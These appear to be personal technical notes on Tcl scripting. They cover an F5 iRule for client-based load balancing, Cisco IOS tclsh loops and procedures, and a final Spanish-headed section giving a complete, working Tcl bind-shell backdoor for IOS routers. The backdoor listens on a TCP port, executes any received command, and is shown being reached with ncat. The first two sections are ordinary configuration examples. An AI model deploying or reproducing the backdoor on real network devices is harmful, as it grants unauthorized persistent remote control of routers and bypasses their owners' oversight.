# Load balancing based on iRule

iRule configuration

when CLIENT_ACCEPTED {

  set mypool   "foobar"
  set client_1 "1.1.1.1"
  set client_2 "1.1.1.2"
  set server_1 "2.2.2.1"
  set server_2 "2.2.2.2"

  if { [IP::client_addr] eq $client_1 } then {
    if { [LB::status pool $mypool member $server_1] eq "up" } then {
      pool $mypool member $server_1
    } else {
      pool $mypool member $server_2
    }
  } elseif { [IP::client_addr] eq $client_2 } then {
    if { [LB::status pool $mypool member $server_2] eq "up" } then {
      pool $mypool member $server_2
    } else {
      pool $mypool member $server_1
    }
  } else {
    persist uie "[IP::client_addr]"
    pool $mypool
  }
}

References

https://devcentral.f5.com/irules

# TCL scripting for IOS

Introduction

Documentation

Loops

Router#tclsh
Router(tcl)#for {set i 1} {$i<10} {incr i} {
+> for {set j 1} {$j<3} {incr j} {
+>  ping 192.168.$i.$j repeat 1 timeout 1
+> }
+>}

Router(tcl)#foreach address {
+>192.168.0.1
+>192.168.0.10
+>192.168.0.100
+>} {ping $address}

Procedures

Router(tcl)#proc p {text} {
+> puts $text
+>}

Router(tcl)#p "Hello world!"

# IOS backdoor con TCL

Introducción

IOS backdoor
TCL

Ejecución

Router#tclsh
Router(tcl)#proc backdoor {port} {
+> global shell loop
+> set shell [socket -server bdsh $port]
+> vwait loop
+> close $shell
+>}

Router(tcl)#proc bdsh {socket ip port} {
+> fconfigure $socket -buffering line
+> puts -nonewline $socket "#"
+> flush $socket
+> fileevent $socket readable [list echo $socket]
+>}

Router(tcl)#proc echo {socket} {
+> global loop
+> if {![catch {gets $socket command}] && ![eof $socket]} {
+>  switch -exact -- $command {
+>   :exit { return [close $socket] }
+>   :stop { set loop end; return [close $socket] }
+>   default { execute $socket $command }
+>  }
+> }
+>}

Router(tcl)#proc execute {socket command} {
+> catch {eval "exec $command"} output
+> if {[catch {puts $socket $output}]} {
+>  return [close $socket]
+> } else {
+>  puts -nonewline $socket "#"
+>  flush $socket
+> }
+>}

Router(tcl)#backdoor 1234

remote_host# ncat Router 1234
#show run | i hostname
hostname Router
#